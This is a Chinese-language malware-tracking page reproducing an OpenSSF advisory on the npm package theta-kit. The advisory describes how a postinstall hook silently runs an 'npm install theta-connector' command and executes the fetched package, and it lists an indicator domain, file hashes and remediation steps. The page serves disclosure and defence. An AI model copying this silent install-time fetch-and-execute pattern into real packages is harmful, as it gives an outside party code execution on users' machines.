目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

theta-kit

MAL-2026-5706
2026-07-06 19:55:38
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in theta-kit (npm)

凭据/密钥窃取安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
4
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmtheta-kit1.0.0
npmtheta-kit1.0.1
npmtheta-kit1.0.2
npmtheta-kit1.0.3
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-07-06T19:55:38Z","published":"2026-06-12T19:07:23Z","schema_version":"1.7.4","id":"MAL-2026-5706","aliases":["GHSA-ccpw-cfwc-qgw4"],"summary":"Malicious code in theta-kit (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (09b0737ff5b0b0768e2314b014529b80609632a38dfdc3a9ad6cfd6ab1da9039)\npackage.json declares `postinstall: node dist/index.js`, and dist/index.js executes `Model.resetor()` at module top level — meaning both `npm install theta-kit` and `require('theta-kit')` hand control to a separate package, 'theta-connector'. resetor() instantiates `new ThetaConnector({})` and calls `db.queryDBConnect()`. If 'theta-connector' is not present, the catch branch silently runs `execSync('npm install theta-connector --no-warnings --no-save --no-progress --loglevel silent')` and then `require`s and executes it. The package that ultimately runs is not shipped in this tarball, so its bytes can change at any time without any update to theta-kit. Output is suppressed and errors are swallowed, hiding the fetch-and-execute from the installer. The package also declares a runtime dependency on `child_process@^1.0.2`, an unrelated registry placeholder sharing a name with Node's built-in module — a confusion pattern that adds a second installer-controlled execution surface. The install-time fetch-and-execute pattern, combined with the silent-self-install fallback and the unrelated 'child_process' registry dep, is unrelated to the package's advertised mobx in-memory DB purpose and gives the maintainer of 'theta-connector' arbitrary code execution on every install or require of theta-kit.\n\n## Source: ghsa-malware (da0964ff798940752e30878dc90ffb51aca217020a2da059bc8834f95963cbac)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"theta-kit"},"versions":["1.0.1","1.0.2","1.0.3","1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"domains":["jsonkeeper.com"],"evidence_files":[{"path":"dist/index.js","sha256":"ec98be3eb73bdfb0ce354bc9e67695a0fc4226daf033c0ee79094ff2be9b1594","tlsh":"1342138937fb2530456b30691e0f8107b63a944ba91dee4c7a9c42d4af4847e52f3bf9"},{"path":"package.json","sha256":"741de36417f1e820c5f37ff6860b1e21ca9715b3ea554acc262bf2784fb9c9b6","tlsh":"4a018930ca258eb356d421d55cab05a35e729867095abc0833c7830c0b8e2bb50fe67d"}],"package_integrity":[{"filename":"theta-kit-1.0.1.tgz","hashes":{"sha1":"ec7b42baff2dc6f80aeb61a06acc441c623ab424","sha512_sri":"sha512-C+vATK2qDgKPt43RK++IyMu9ZdZLkumQPMGNg2Sn9vDKl6OWneAvYuUnVMfQycQ+wiXvISUAlf9k9ntIARYa0w=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/theta-kit/v/1.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/theta-kit/v/1.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/theta-kit/v/1.0.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/theta-kit/v/1.0.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-ccpw-cfwc-qgw4"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"09b0737ff5b0b0768e2314b014529b80609632a38dfdc3a9ad6cfd6ab1da9039","import_time":"2026-06-12T19:43:58.28824843Z","id":"IN-MAL-2026-006013","modified_time":"2026-06-12T19:07:23Z","versions":["1.0.1"]},{"source":"amazon-inspector","sha256":"30f04104c9e5de8a18da769a2aa50e78546b12ccaf99d7c442aae79277c6e098","import_time":"2026-06-12T19:43:59.614743083Z","id":"IN-MAL-2026-006026","modified_time":"2026-06-12T19:07:30Z","versions":["1.0.2"]},{"source":"amazon-inspector","sha256":"4f2b7b976965370ad873f7410cd353a71da0cdbe5d86dcf23a537dab34b98959","import_time":"2026-06-12T19:43:58.383946386Z","id":"IN-MAL-2026-006014","modified_time":"2026-06-12T19:07:23Z","versions":["1.0.2"]},{"source":"amazon-inspector","sha256":"8e4af06adb727e8855bb93b3d39906e1aa504a697641cfecad7fbf51dd8e024b","import_time":"2026-06-12T19:43:59.125647099Z","id":"IN-MAL-2026-006021","modified_time":"2026-06-12T19:07:28Z","versions":["1.0.3"]},{"source":"amazon-inspector","sha256":"eaf5ecef46a2c9c55015a7ce1b2cbd6fbe4cc2305fb2113c4889b11b26a7231e","import_time":"2026-06-12T19:43:58.474297344Z","id":"IN-MAL-2026-006015","modified_time":"2026-06-12T19:07:24Z","versions":["1.0.3"]},{"source":"amazon-inspector","sha256":"f7f4a3e8761d93c4408de9acaf0eee18f4f0146cbef2638669054a4c19beae4b","import_time":"2026-06-12T19:43:59.518972894Z","id":"IN-MAL-2026-006025","modified_time":"2026-06-12T19:07:30Z","versions":["1.0.0"]},{"source":"ghsa-malware","sha256":"da0964ff798940752e30878dc90ffb51aca217020a2da059bc8834f95963cbac","import_time":"2026-07-06T19:53:47.946650158Z","id":"GHSA-ccpw-cfwc-qgw4","modified_time":"2026-07-06T18:58:37Z","versions":["1.0.3","1.0.2","1.0.1","1.0.0"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0